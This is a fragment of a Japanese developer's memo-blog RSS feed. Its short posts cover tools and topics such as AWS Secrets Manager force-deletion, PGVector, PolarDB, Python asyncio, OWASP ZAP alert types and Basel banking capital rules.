&lt;li&gt;&lt;a href="https://blog.muehlemann-popp.ch/graphene-vs-strawberry-which-is-better-for-providing-a-graphql-api-382633f6cd50"&gt;Graphene vs Strawberry: Which is better for providing a GraphQL API?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="django"&gt;Django&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://testdriven.io/blog/django-strawberry/"&gt;Developing GraphQL APIs in Django with Strawberry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>メモ</title><link>https://hdknr.github.io/blogs/posts/2024/08/%E3%83%A1%E3%83%A2/</link><pubDate>Thu, 01 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/%E3%83%A1%E3%83%A2/</guid><description>&lt;h1 id="メモ"&gt;メモ&lt;/h1&gt;
&lt;h2 id="rye"&gt;Rye&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/kissy24/items/37c881498dcb8a01f3bd"&gt;【Python】Rye で始める Python プロジェクト&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/owayo/items/142ac770d1a007e764a9"&gt;Python パッケージ管理ツール比較: Poetry vs Pipenv vs Rye&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://rye.astral.sh/"&gt;https://rye.astral.sh/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="contentful--organization-は削除できない"&gt;Contentful : Organization は削除できない&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;管理者の最後のアカウントが削除されたら削除できる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws-secret-manager-再作成"&gt;AWS Secret Manager: 再作成&lt;/h2&gt;
&lt;p&gt;このエラーは、Secrets Manager がシークレットを直ちに削除せず、復旧期間（通常 7 日間）を設けているために発生します。この期間中は同じ名前のシークレットを再作成することができません ¹。&lt;/p&gt;
&lt;p&gt;ただし、AWS CLI を使用して、復旧期間を設けずにシークレットを完全に削除することが可能です。以下の手順を試してみてください：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;削除予定のシークレット ID を取得&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AWS Secrets Manager コンソールを開きます。&lt;/li&gt;
&lt;li&gt;ナビゲーションペインで「Secrets」を選択します。&lt;/li&gt;
&lt;li&gt;「設定」アイコンを選択し、「詳細設定」で「削除予定のシークレットを表示」を選択します。&lt;/li&gt;
&lt;li&gt;「Secrets」ペインで、削除予定のシークレットの ID を確認します。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AWS CLI を使用してシークレットを完全に削除&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;以下のコマンドを実行します（&lt;code&gt;your-secret-name&lt;/code&gt;をシークレット ID または ARN に、&lt;code&gt;your-region&lt;/code&gt;を AWS リージョンに置き換えてください）:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;aws secretsmanager delete-secret --secret-id your-secret-name --force-delete-without-recovery --region your-region
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;削除が完了したことを確認&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;以下のコマンドを実行して、シークレットが完全に削除されたことを確認します:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;aws secretsmanager describe-secret --secret-id your-secret-name --region your-region
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;「Secrets Manager can&amp;rsquo;t find the specified secret」というエラーが表示されれば、シークレットは正常に削除されています。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これで、同じ名前のシークレットを再作成できるようになります ¹。&lt;/p&gt;</description></item><item><title>PGVector</title><link>https://hdknr.github.io/blogs/posts/2024/07/pgvector/</link><pubDate>Wed, 31 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/pgvector/</guid><description>&lt;h1 id="pgvector"&gt;PGVector&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;ニューラルネットワークの知識の蒸留 distilling the knowledge in a neural network&lt;a href="https://python.langchain.com/v0.2/docs/integrations/retrievers/self_query/pgvector_self_query/"&gt;PGVector (Postgres)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/lecto/articles/00a9ace01eb8b9"&gt;Rails/PostgreSQL/pgvector を組み合わせてベクトル検索をする。&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yassun/sample-pgvector"&gt;https://github.com/yassun/sample-pgvector&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hub.docker.com/r/pgvector/pgvector"&gt;https://hub.docker.com/r/pgvector/pgvector&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pgvector/pgvector-python"&gt;https://github.com/pgvector/pgvector-python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mof-mof.co.jp/tech-blog/pgvector-similarity-search"&gt;LangChain と pgvector(Postgres)を用いて関連性の高いドキュメントを手軽に検索する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/comware_moriyoshi/items/989c2f2a07f33591c1df"&gt;生成 AI でテキスト分類やってみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sentencetransformer"&gt;SentenceTransformer&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/welmo/articles/a79b8b45573383"&gt;Python の SentenceTransformer を用いた文章類似度比較 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.yellowback.net/posts/sentence-transformers-japanese-models"&gt;sentence transformers で日本語を扱えるモデルのまとめ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.yellowback.net/posts/transformers-japanese-characters-in-multilingual-models"&gt;transformers 多言語モデル中の日本語語彙調査&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="知識蒸留"&gt;知識蒸留&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kotai2003/items/cf95ab63f3f4e72ddef4"&gt;ニューラルネットワークの知識の蒸留 distilling the knowledge in a neural network&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ai-scholar.tech/articles/knowledge-distillation/patient-consistent-kd"&gt;知識蒸留で効果的な教師の条件とは？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aismiley.co.jp/ai_news/how-to-create-teacher-data-that-is-essential-for-improving-ai-accuracy/"&gt;教師データとは？学習データとの違いや作り方をわかりやすく紹介&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://laboro.ai/activity/column/engineer/%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E3%82%92%E8%BB%BD%E9%87%8F%E5%8C%96%E3%81%99%E3%82%8B%E3%83%A2%E3%83%87%E3%83%AB%E5%9C%A7%E7%B8%AE/"&gt;ディープラーニングを軽量化する「モデル圧縮」３手法&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="muse"&gt;MUSE&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/elda227/items/5364ea669c9c93194d53"&gt;Muse: Text-To-Image Generation via Masked Generative Transformers を読んだメモ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>PolarDB</title><link>https://hdknr.github.io/blogs/posts/2024/07/polardb/</link><pubDate>Wed, 31 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/polardb/</guid><description>&lt;h1 id="polardb-for-postgresql"&gt;PolarDB for PostgreSQL&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;PolarDB for PostgreSQL（以下、PolarDB）は、Alibaba Cloud が独自に開発したクラウドネイティブなデータベースサービスです。&lt;/li&gt;
&lt;li&gt;このサービスは、PostgreSQL と 100%互換性があり、共有ストレージベースのアーキテクチャを採用しています。&lt;/li&gt;
&lt;li&gt;これにより、計算とストレージが分離され、柔軟なスケーラビリティ、ミリ秒レベルの遅延、HTAP（Hybrid Transactional/Analytical Processing）機能を提供します ¹²。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;主な特徴は以下の通りです：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;柔軟なスケーラビリティ&lt;/strong&gt;：ビジネス要件に応じて、計算クラスターやストレージクラスターをスケールアウトできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ミリ秒レベルの遅延&lt;/strong&gt;：WAL（Write-Ahead Logging）ログが共有ストレージに保存され、メタデータのみがレプリケートされます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTAP 機能&lt;/strong&gt;：OLTP（オンライントランザクション処理）と OLAP（オンライン分析処理）の両方をサポートするためのアーキテクチャを持っています ¹²³。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;他に知りたいことがあれば教えてくださいね。&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/7/31
(1) GitHub - ApsaraDB/PolarDB-for-PostgreSQL: A cloud-native &amp;hellip;. &lt;a href="https://github.com/ApsaraDB/PolarDB-for-PostgreSQL"&gt;https://github.com/ApsaraDB/PolarDB-for-PostgreSQL&lt;/a&gt;.
(2) PolarDB for PostgreSQL - Gitee. &lt;a href="https://gitee.com/polardb/PolarDB-for-PostgreSQL"&gt;https://gitee.com/polardb/PolarDB-for-PostgreSQL&lt;/a&gt;.
(3) PolarDB&lt;em&gt;云原生数据库&lt;/em&gt;自研数据库_数据库-阿里云. &lt;a href="https://polardbpg.com/"&gt;https://polardbpg.com/&lt;/a&gt;.
(4) PolarDB: 阿里云开源云原生数据库 PolarDB - Gitee. &lt;a href="https://gitee.com/polardb"&gt;https://gitee.com/polardb&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hmatsu47/items/3ebefcc778273776f5e6"&gt;PolarDB for PostgreSQL 14 で pgvector と LangChain を使ってベクトル検索してみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Python asyncio</title><link>https://hdknr.github.io/blogs/posts/2024/07/python-asyncio/</link><pubDate>Wed, 31 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/python-asyncio/</guid><description>&lt;h1 id="asyncio"&gt;asyncio&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;async/await 構文を利用して並行処理を行う&lt;/li&gt;
&lt;li&gt;シングルスレッドで動作する並行処理のためのライブラリ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="コルーチン定義関数coroutine-function-definition"&gt;コルーチン定義関数(Coroutine function definition)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/ja/3/reference/compound_stmts.html#coroutine-function-definition"&gt;8.9.1. コルーチン関数定義&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;コルーチン定義関数は コルーチンオブジェクトを返す。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ジェネレータベースのコルーチンyield"&gt;(ジェネレータベースの)コルーチン(&lt;code&gt;yield&lt;/code&gt;)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;単純な関数呼び出しによるサブルーチンとは異なり、呼び出し元と呼び出し先を行ったり来たりするような関係性のルーチン&lt;/li&gt;
&lt;li&gt;ジェネレータを利用してコルーチンを実装する(&lt;code&gt;yield&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;『コルーチンは処理を中断した後、続きから処理を再開できる』= ジェネレータは処理を中断・再開できるので、コルーチンであると言える&lt;/li&gt;
&lt;li&gt;&lt;code&gt;send&lt;/code&gt; 呼び出しもとからデータ可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="native-coroutineasync"&gt;native coroutine(&lt;code&gt;async&lt;/code&gt;)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;async の付いている関数定義は、generator と同じように、呼び出しをしても直ちに実行はされない関数&lt;/li&gt;
&lt;li&gt;await で実行終了を待つ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="非同期ジェネレータasyncgenerator"&gt;非同期ジェネレータ(AsyncGenerator)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;async&lt;/code&gt; generator&lt;/li&gt;
&lt;li&gt;通常のジェネレータと違って非同期ジェネレータはジェネレータ関数自体の戻り値を返すことはできません&lt;/li&gt;
&lt;li&gt;&lt;code&gt;asend&lt;/code&gt; : 非同期ジェネレータでも呼び出し元から、ジェネレータ関数に値を通知することができます&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="資料"&gt;資料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/koshigoe/items/054383a89bd51d099f10"&gt;Python で学ぶ、コルーチンと非同期処理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/339/articles/6832decc5ef1b4a0821b"&gt;図解「generator・native coroutine・with」 〜 関心やコードを分離する文法と、処理順序・構造&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Server Sent Events</title><link>https://hdknr.github.io/blogs/posts/2024/07/server-sent-events/</link><pubDate>Wed, 24 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/server-sent-events/</guid><description>&lt;h1 id="sse"&gt;SSE&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;MDN: &lt;a href="https://developer.mozilla.org/ja/docs/Web/API/Server-sent_events/Using_server-sent_events"&gt;サーバー送信イベントの使用&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pod.hatenablog.com/entry/2021/05/26/200403"&gt;python で SSE (server side events) の例を作ってみて遊んでみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://azisava.sakura.ne.jp/programming/0041.html"&gt;Server-Sent Events と WebSocket の簡単な実装例&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>サイトセキュリティチェック</title><link>https://hdknr.github.io/blogs/posts/2024/07/%E3%82%B5%E3%82%A4%E3%83%88%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF/</link><pubDate>Mon, 22 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/%E3%82%B5%E3%82%A4%E3%83%88%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF/</guid><description>&lt;h1 id="サイトセキュリティチェック"&gt;サイトセキュリティチェック&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Mozilla: &lt;a href="https://observatory.mozilla.org/"&gt;https://observatory.mozilla.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;トレンドマイクロ: &lt;a href="https://global.sitesafety.trendmicro.com/?cc=jp"&gt;https://global.sitesafety.trendmicro.com/?cc=jp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Google: &lt;a href="https://www.virustotal.com/gui/home/upload"&gt;https://www.virustotal.com/gui/home/upload&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="owasp-zap"&gt;OWASP Zap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/y640/articles/430e99504cd275"&gt;Docker 版 OWASP ZAP を M1 Mac で動かす。&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;問題:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10010/"&gt;Cookie No HttpOnly Flag&lt;/a&gt; [10010]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10015/"&gt;Re-examine Cache-control Directives&lt;/a&gt; [10015]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10017/"&gt;Cross-Domain JavaScript Source File Inclusion&lt;/a&gt; [10017]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10020-1/"&gt;Missing Anti-clickjacking Header&lt;/a&gt; [10020]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10021/"&gt;X-Content-Type-Options Header Missing&lt;/a&gt; [10021]&lt;/li&gt;
&lt;li&gt;: [Information Disclosure - Suspicious Comments]&lt;a href="10027"&gt;https://www.zaproxy.org/docs/alerts/10027/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;: [Cookie Poisoning]&lt;a href="10029"&gt;https://www.zaproxy.org/docs/alerts/10029/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10031/"&gt;User Controllable HTML Element Attribute (Potential XSS)&lt;/a&gt; [10031]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10035/"&gt;Strict-Transport-Security Header Not Set&lt;/a&gt; [10035]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10038/"&gt;Content Security Policy (CSP) Header Not Set&lt;/a&gt; [10038]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10040/"&gt;Secure Pages Include Mixed Content&lt;/a&gt; [10040]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10049/"&gt;Storable and Cacheable Content&lt;/a&gt; [10049]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10054/"&gt;Cookie without SameSite Attribute&lt;/a&gt; [10054]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10063/"&gt;Permissions Policy Header Not Set&lt;/a&gt; [10063]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10096/"&gt;Timestamp Disclosure - Unix&lt;/a&gt; [10096]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10109/"&gt;Modern Web Application&lt;/a&gt; [10109] (対応しなくてもよい)&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10110/"&gt;Dangerous JS Functions&lt;/a&gt; [10110]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10112/"&gt;Session Management Response Identified&lt;/a&gt; [10112]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10202/"&gt;Absence of Anti-CSRF Tokens&lt;/a&gt; [10202]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/90003/"&gt;Sub Resource Integrity Attribute Missing&lt;/a&gt; [90003]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/90011/"&gt;Charset Mismatch&lt;/a&gt; [90011]&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="virustotal"&gt;VIRUSTOTAL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/gui/home/upload"&gt;https://www.virustotal.com/gui/home/upload&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="suuri"&gt;SUURI&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sitecheck.sucuri.net/"&gt;https://sitecheck.sucuri.net/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>金融機関</title><link>https://hdknr.github.io/blogs/posts/2024/07/%E9%87%91%E8%9E%8D%E6%A9%9F%E9%96%A2/</link><pubDate>Thu, 18 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/%E9%87%91%E8%9E%8D%E6%A9%9F%E9%96%A2/</guid><description>&lt;h1 id="金融機関"&gt;金融機関&lt;/h1&gt;
&lt;h2 id="自己資本比率"&gt;自己資本比率&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;自己資本とは返済する必要のない資金のことです。&lt;/li&gt;
&lt;li&gt;自己資本比率とは総資産のうち、万が一の場合に貸倒れの可能性がある資産に対して、資本金など自己資本がどれくらいあるかを示す指標のことです。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;記事:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://imidas.jp/ichisenkin/g08_ichisenkin/?article_id=a-51-003-08-11-g204"&gt;銀行の自己資本比率&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bis-規制"&gt;&lt;a href="https://www.nomura.co.jp/terms/japan/hi/bis.html"&gt;BIS 規制&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;3 段階(&lt;a href="https://www.nomura.co.jp/terms/japan/ha/A02641.html"&gt;バーゼル３&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://imidas.jp/genre/detail/A-106-0128.html"&gt;狭義の中核的自己資本&lt;/a&gt;（コア Tier1） (普通株と内部留保のみ)&lt;/li&gt;
&lt;li&gt;中核的自己資本（Tier1）(+優先株、優先出資証券)&lt;/li&gt;
&lt;li&gt;総資本&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="バーゼル-1-2-3"&gt;バーゼル 1, 2, 3&lt;/h2&gt;
&lt;p&gt;バーゼル I: (対日本メガバンク)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;国際的な銀行システムの健全性の強化と、国際業務に携わる銀行間の競争上の不平等の軽減を目的として策定&lt;/li&gt;
&lt;li&gt;銀行の自己資本比率の測定方法や、達成すべき最低水準（8％以上）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;バーゼル II:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;(1)最低所要自己資本比率規制（リスク計測の精緻化）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;（2）銀行自身による経営上必要な自己資本額の検討と当局によるその妥当性の検証&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;（3）情報開示の充実を通じた市場規律の実効性向&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;達成すべき最低水準（8％以上）はバーゼル I と変わらない&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;銀行が抱えるリスク計測（自己資本比率を算出する際の分母）の精緻化&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;バーゼル III:(リーマンショックと世界金融危機の反省)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;世界的な金融危機の再発を防ぎ、国際金融システムのリスク耐性を高めることを目的&lt;/li&gt;
&lt;li&gt;銀行が想定外の損失に直面した場合でも経営危機に陥ることのないよう、&lt;a href="https://thefinance.jp/risk/230609"&gt;自己資本比率規制が厳格化&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;急な資金の引き出しに備えるための&lt;a href="https://www.ey.com/ja_jp/banking-capital-markets/what-will-financial-institutions-consider-and-improve-when-implementing-basel-iii-liquidity-regulations"&gt;流動性規制&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;過大なリスクテイクを抑制するための&lt;a href="http://www.nicmr.com/nicmr/report/repo/2014/2014win08.pdf"&gt;レバレッジ比率規制等&lt;/a&gt;が導入&lt;/li&gt;
&lt;li&gt;規制を設計する際、金融システム全体の安定性を維持するという&lt;a href="https://www.boj.or.jp/about/education/oshiete/pfsys/e14.htm"&gt;マクロ・プルーデンス&lt;/a&gt;の観点が重視されている&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="資料"&gt;資料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nomura.co.jp/terms/japan/te/tier1.html"&gt;Tier1（基本的項目）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nomura.co.jp/terms/english/other/A02656.html"&gt;Tier2（補完的項目）&lt;/a&gt; (有価証券含み益、一般貸倒引当金、劣後債・劣後ローンなど)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nomura.co.jp/terms/japan/ko/A03097.html"&gt;国際決済銀行（BIS）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.boj.or.jp/about/education/oshiete/pfsys/e24.htm"&gt;バーゼル合意、バーゼル I、II、III とは何ですか？　いわゆる BIS 規制とは何ですか？&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Swiper</title><link>https://hdknr.github.io/blogs/posts/2024/07/swiper/</link><pubDate>Mon, 15 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/swiper/</guid><description>&lt;h1 id="swiper"&gt;swiper&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/nolimits4web/swiper"&gt;https://github.com/nolimits4web/swiper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://b-risk.jp/blog/2022/04/swiper/"&gt;【最新】Swiper の使い方・カスタマイズを解説！サンプルやオプション 15 個付き ー基礎から応用までー&lt;/a&gt; (Swiper v8.1.4)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005554.html"&gt;JVNDB-2021-005554 swiper における脆弱性&lt;/a&gt; (6.5.1)(情報を取得される、情報を改ざんされる、およびサービス運用妨害 (DoS) 状態にされる可能性があります。)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Terraform and others</title><link>https://hdknr.github.io/blogs/posts/2024/06/terraform-and-others/</link><pubDate>Tue, 25 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/terraform-and-others/</guid><description>&lt;h1 id="terraform--cloudformation-関連"&gt;Terraform , CloudFormation 関連&lt;/h1&gt;
&lt;h2 id="opentofu"&gt;OpenTofu&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://opentofu.org/"&gt;https://opentofu.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="troposphere"&gt;troposphere&lt;/h2&gt;
&lt;ul&gt;
